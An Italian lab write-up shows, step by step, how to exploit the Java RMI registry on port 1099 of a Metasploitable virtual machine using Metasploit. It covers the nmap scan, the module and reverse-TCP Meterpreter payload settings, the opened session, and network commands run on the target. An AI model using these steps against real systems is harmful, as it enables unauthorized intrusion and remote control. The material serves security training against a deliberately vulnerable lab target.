

Sfruttamento Java-rmi 1099 per accesso Meterpreter

Impostiamo le configurazioni e gli indirizzi IP della macchina attaccante e della macchina target come richiesto. Dal terminale di Kali Linux (macchina attaccante) digitiamo il comando msfconsole e facciamo una scansione delle porte aperte sulla macchina target (Metaspotable).

```
File Actions Edit View Help
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Enable HTTP request and response logging with set HttpTrace
true

      :oDfO:
      ./ymM0dayMmy/.
      --dHJ5aGFyZGVyIQ==+
      :sm8~Destroy.No.Data~s:
      --h2~Maintain.No.Persistence~h+
      :odNo2~Above.All.Else.Do.No.Harm~Ndo:
      ./etc/shadow.0days-Data'%200R%201=1~.No.0MN8'/.
      --++SecKCoin++e.AMd      .-://///hbove.913.ElsMNH+-
      --/.ssh/id_rsa.Des-      'htN01UserWroteMe!-
      :dopeAW.No<nano>o      :is:T8iKC.sudo-.A:
      :we're.all.alike'      The.PFYroy.No.D7:
      :PLACEDRINKHERE!      yxp_cmdsshell.Ab0:
      :msf>exploit -j.      :Ns.BOB8ALICEes7:
      :--srxrx:-.      'MS146.52.No.Per:
      :<script>.Ac816/      sENbove3101.404:
      :NT_AUTHORITY.Do      'T:/shSYSTEM-.N:
      :09.14.2011.raid      /STFU|wall.No.Pr:
      :hevnsntSurb025N.      dNVRGOING2GIVUUP:
      :#OUTHOUSE- -s:      /corykennedyData:
      :$nmap -oS      SSo.6178306Ence:
      :Awsm.da:      /shMTL#beats3o.No.:
      :Ring0:      'dDestRoyREXKC3ta/M:
      :23d:      sSETEC.ASTRONOMYist:
      /-      /yo- .ence.N:(){ :|: 6 };
      :Shall.We.Play.A.Game?tron/
      --ooy.if1ghtf0r+ehUser5`
      ..th3.H1V3.U2VjRFNN.jMh+.
      'MjM~WE.ARE.se~MMjMs
      +-KANSAS.CITY's~
      J~HAKCERS~./.'
      .esc:wq!:'
      +++ATH'

      = [ metasploit v6.4.50-dev ]
+ -- --[ 2495 exploits - 1283 auxiliary - 393 post ]
+ -- --[ 1607 payloads - 49 encoders - 13 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
```

```

msf6 > nmap -sS -sV -p- 192.168.11.112
[*] exec: nmap -sS -sV -p- 192.168.11.112

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 12:14 EDT
Nmap scan report for 192.168.11.112
Host is up (0.0040s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd      distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
6697/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb          Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbc)
36869/tcp open  mountd       1-3 (RPC #100005)
44867/tcp open  nlockmgr     1-4 (RPC #100021)
51748/tcp open  java-rmi     GNU Classpath grmiregistry
52035/tcp open  status       1 (RPC #100024)
MAC Address: 08:00:27:5A:FC:0A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 168.13 seconds

```

Cerchiamo tra i moduli il servizio che ci interessa e con il comando use inseriamo l'exploit che ci serve.

```

msf6 > search java_rmi

Matching Modules
=====
#  Name
-  -
0  auxiliary/gather/java_rmi_registry
1  exploit/multi/misc/java_rmi_server
2  \ target: Generic (Java Payload)
3  \ target: Windows x86 (Native Payload)
4  \ target: Linux x86 (Native Payload)
5  \ target: Mac OS X PPC (Native Payload)
6  \ target: Mac OS X x86 (Native Payload)
7  auxiliary/scanner/misc/java_rmi_server
8  exploit/multi/browser/java_rmi_connection_impl

Disclosure Date  Rank  Check  Description
-----
.               normal No      Java RMI Registry Interfaces Enumeration
2011-10-15      excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
.               .      .
.               .      .
.               .      .
.               .      .
.               .      .
2011-10-15      normal No      Java RMI Server Insecure Endpoint Code Execution Scanner
2010-03-31      excellent No      Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

```

Vediamo quali parametri inserire e procediamo a inserirli con il comando set, controlliamo se tutti sia corretto e lanciamo l'exploit.

```
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Generic (Java Payload)

View the full module info with the info, or info -d command.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
```

RHOSTS => 192.168.11.112

```
msf6 exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
```

PAYLOAD => java/meterpreter/reverse_tcp

```
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	192.168.11.112	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Generic (Java Payload)

View the full module info with the info, or info -d command.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
```

[*] Started reverse TCP handler on 192.168.11.111:4444

[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/OVgrGM

[*] 192.168.11.112:1099 - Server started.

[*] 192.168.11.112:1099 - Sending RMI Header ...

[*] 192.168.11.112:1099 - Sending RMI Call ...

[*] 192.168.11.112:1099 - Replied to request for payload JAR

[*] Sending stage (58073 bytes) to 192.168.11.112

[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:43291) at 2025-05-16 12:28:47 -0400

Una volta riuscito l'exploit prendiamo le impostazioni di rete e le informazioni della tabella di routing della Metaspotable con I seguenti comandi.

```
meterpreter > sessions -i 1
[*] Session 1 is already interactive.
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe5a:fc0a
IPv6 Netmask : ::

meterpreter > shell
Process 1 created.
Channel 1 created.
route
Kernel IP routing table
Destination    Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.11.0   *               255.255.255.0   U        0      0        0 eth0
default        192.168.11.1   0.0.0.0         UG       100    0        0 eth0
exit
```